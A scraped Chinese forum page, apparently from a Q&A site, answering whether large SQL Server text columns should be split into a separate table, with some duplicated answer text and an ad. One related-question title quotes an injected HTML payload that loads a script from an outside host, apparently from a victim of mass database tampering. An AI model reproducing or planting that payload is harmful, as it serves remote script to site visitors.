mssqlserver text 字段 需要垂直拆分吗? 对于数据量较大的表,text字段是有必要垂直拆分吗?是否严重影响其他字段的查询速度?请说明原理。谢谢!! 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 这个确实建议分表,拆分成2个表。一个是主要字段,一个是 text字段,这个text类型的字段如果是2005以后的版本,建议用varchar(max)类型,这个类型更好。之所以要分表是有2个原因:1.根据 访问的习惯,比如有些字段经常被访问,就像论坛一样,标题之列的最多,但是真正有多少人会每个都点进去看呢?访问更多的放第一个表,访问不多的放到第二个表。2.把大的文本分开存储到另一个表。比如,你做分页,如果数据都存储到一起,那么由于数据很多,一个数据页存储的数据就很少,而如果分开存储,那么现对第一个表进行分页,如果需要访问前10条数据,那么过滤出来的前10条数据,再关联另外一个表的10条数据,就好了,效率提高了。 拆分了更好,如果text字段非常大,可以不放在的表中,以其他方式存储也可以,表字段存链接地址。 如何查找出每门课都考第一名的那个人? 显示一个表的所有字段, 所有文字字段全部被修改为 </title></pre>"><script src=http://1.hao929.cn/ads.js></script><!-- 调试sql server存储过程有什么好方法 求一个sql语句!! 拿值问题 问一个简单的问题 请问,可以不可以把表名作为一个变量,其中的字段可不可以呢? 数据修改的问题,,,在线等待 菜鸟求助,sqlserver05单表查询语句 求助写一个存储过程 如何获得某个时间与当下时间的天数?
这个确实建议分表,拆分成2个表。一个是主要字段,一个是 text字段,这个text类型的字段如果是2005以后的版本,建议用varchar(max)类型,这个类型更好。之所以要分表是有2个原因:1.根据 访问的习惯,比如有些字段经常被访问,就像论坛一样,标题之列的最多,但是真正有多少人会每个都点进去看呢?
访问更多的放第一个表,访问不多的放到第二个表。2.把大的文本分开存储到另一个表。
比如,你做分页,如果数据都存储到一起,那么由于数据很多,一个数据页存储的数据就很少,而如果分开存储,那么现对第一个表进行分页,如果需要访问前10条数据,那么过滤出来的前10条数据,再关联另外一个表的10条数据,就好了,效率提高了。